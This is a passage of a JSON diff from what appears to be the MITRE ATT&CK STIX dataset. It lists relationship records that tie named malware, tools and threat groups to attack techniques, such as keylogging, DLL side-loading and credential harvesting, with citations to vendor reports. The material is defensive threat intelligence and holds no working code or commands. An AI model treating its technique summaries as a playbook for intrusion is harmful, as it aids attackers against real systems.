+ "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4d35e55-6a09-47ef-8de5-160468276025", + "external_references": [ + { + "source_name": "TechNet At", + "description": "Microsoft. (n.d.). At. Retrieved April 28, 2016.", + "url": "https://technet.microsoft.com/en-us/library/bb490866.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) obfuscates internal strings and unpacks them at startup.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e82a523-fc73-4f3b-98dc-3b1e7199cd93", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Uroburos](https://attack.mitre.org/software/S0022) uses a custom packer.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--229e8b6e-6c16-406a-8def-7588aaae4fcb", + "external_references": [ + { + "source_name": "Symantec Waterbug", + "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can create a .lnk file and add a Registry Run key to establish persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--313082d2-c493-4053-80c1-06300aeea8e0", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.780Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors used compromised credentials for the victim's endpoint management platform, Altiris, to move laterally.", + "type": "relationship", + "created": "2017-05-31T21:33:27.063Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c6358f18-fc64-46f5-8939-66e5258dd83d", + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "modified": "2019-03-25T17:01:21.290Z", + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) runs the ifconfig command to obtain the IP address from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--34cb97d2-b8ae-46e8-a8f7-caca4214820e", + "external_references": [ + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sys10](https://attack.mitre.org/software/S0060) uses HTTP for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c80250a5-79c0-4a46-a0e3-49d6bcd574c6", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-05-03T16:44:41.793Z", + "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s DPAPI module can harvest protected credentials stored and/or cached by browsers and other user applications by interacting with Windows cryptographic application programming interface (API) functions.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--028c3adf-4182-4250-9642-2ce5c448f710", + "external_references": [ + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + }, + { + "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015", + "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.", + "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/" + } + ], + "modified": "2019-04-24T23:36:42.335Z", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reaver](https://attack.mitre.org/software/S0172) collects system information from the victim, including CPU speed, computer name, volume serial number, ANSI code page, OEM code page identifier for the OS, Microsoft Windows version, and memory information.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--edbd751e-29ad-419f-a3ff-9d210453351d", + "external_references": [ + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has the capability to to delete files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--af883d09-3f26-4267-9081-4783447e3283", + "external_references": [ + { + "source_name": "FireEye Hacking Team", + "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" + } + ], + "modified": "2019-04-16T20:26:40.949Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) shellcode decrypts and decompresses its RC4-encrypted payload.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--026a63ae-dd3d-4ea6-8a32-c40c9b37b893", + "external_references": [ + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tasklist](https://attack.mitre.org/software/S0057) can be used to discover processes running on a system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--32a470e7-4bbc-43e8-ae8e-09b382dd441f", + "external_references": [ + { + "source_name": "Microsoft Tasklist", + "description": "Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.", + "url": "https://technet.microsoft.com/en-us/library/bb491010.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:13:09.707Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--216c15b0-3091-49f2-ba85-356d56265671", + "external_references": [ + { + "source_name": "US-CERT FALLCHILL Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bandook](https://attack.mitre.org/software/S0234) contains keylogging capabilities", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3450fcde-caba-4595-b28b-99f18b4a4b7a", + "external_references": [ + { + "source_name": "BH Manul Aug 2016", + "description": "Galperin, E., Et al.. (2016, August 4). When Governments Attack: State Sponsored Malware Attacks Against Activists, Lawyers, and Journalists. Retrieved May 23, 2018.", + "url": "https://www.blackhat.com/docs/us-16/materials/us-16-Quintin-When-Governments-Attack-State-Sponsored-Malware-Attacks-Against-Activists-Lawyers-And-Journalists.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) abuses the Windows DLL load order by using a legitimate Symantec anti-virus binary, VPDN_LU.exe, to load a malicious DLL that mimics a legitimate Symantec DLL, navlu.dll.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1762fe5a-0810-4179-bfb0-16d965ffe055", + "external_references": [ + { + "source_name": "ZScaler Hacking Team", + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "relationship_type": "uses", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses variations of a simple XOR encryption routine for C&C communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--03927dc7-2ef0-43e4-ad71-94243e29bca4", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can obtain network information, including DNS, IP, and proxies.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--264e85a3-1ddc-4b68-87fc-c2b96d6ec0e9", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) uses Pastebin to store C2 addresses.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3d97f57c-2a7c-4626-8b05-9d345047d3ad", + "external_references": [ + { + "source_name": "Palo Alto PlugX June 2017", + "description": "Lancaster, T. and Idrizovic, E.. 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Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "relationship_type": "uses", + "target_ref": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses Port Numbers 80, 8080, 8000, and 443 for communication to the C2 servers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--074e7c5b-84e5-4cc1-bb8e-9b9f50eab274", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. 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Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + }, + { + "source_name": "Emissary Trojan Feb 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "source_ref": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7", + "relationship_type": "uses", + "target_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) automatically exfiltrates collected files via removable media when an infected device is connected to the second victim after receiving commands from the first victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ae8a95fa-c0ad-40b4-a573-a9441ed94fab", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) uses rundll32.exe to load its DLL.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--216ab163-818b-4303-beb6-a743b90c98bf", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.639Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256)'s launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1fadec32-a069-4103-bac1-1f61cf2e90e0", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:07:56.754Z", + "type": "relationship", + "id": "relationship--f9ca3697-51a1-494b-8a61-06e516f29860", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.029Z", + "source_ref": "course-of-action--82fbc58b-171d-4a2d-9a20-c6b2a716bd08", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OnionDuke](https://attack.mitre.org/software/S0052) steals credentials from its victims.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--37ad61e7-6520-47d0-81ae-f3d129b49ac1", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. 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Retrieved September 29, 2015.", + "url": "http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2" + } + ], + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan will enumerate the victim's processes searching for explorer.exe if its current process does not have necessary permissions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--51d06864-d5de-4286-b2bb-561a8d2c4d49", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-07-27T00:09:36.644Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:13:49.675Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--731acc34-e9c3-4953-a743-7941bc73c0d2", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Naikon](https://attack.mitre.org/groups/G0019) uses commands such as netsh interface show to discover network interface settings.", + "type": "relationship", + "created": "2017-05-31T21:33:27.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7138c1e4-6791-424b-adc1-5b4c7d5e3cca", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. 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Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3909-99" + } + ], + "modified": "2019-03-22T20:15:19.490Z", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) deletes the Registry key HKCU\\Software\\Classes\\Applications\\rundll32.exe\\shell\\open.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--321c1e2e-c295-42db-87cf-4d71f6c7f164", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + } + ], + "modified": "2019-01-30T13:42:09.720Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware is capable of keylogging.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--023ff141-8ed7-4132-85a0-494fe075236b", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.627Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT18](https://attack.mitre.org/groups/G0026) actors used the native [at](https://attack.mitre.org/software/S0110) Windows task scheduler tool to use scheduled tasks for execution on a victim network.", + "type": "relationship", + "created": "2017-05-31T21:33:27.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--67f19627-27a5-4898-bab5-7b235aa4ad77", + "external_references": [ + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ], + "modified": "2019-05-30T18:05:32.841Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8b96fb11-8b54-4bed-9e6c-cd93b29c5c20", + "external_references": [ + { + "source_name": "Securelist Agent.btz", + "description": "Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.", + "url": "https://securelist.com/agent-btz-a-source-of-inspiration/58551/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) obtained OS version and hardware configuration from a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + 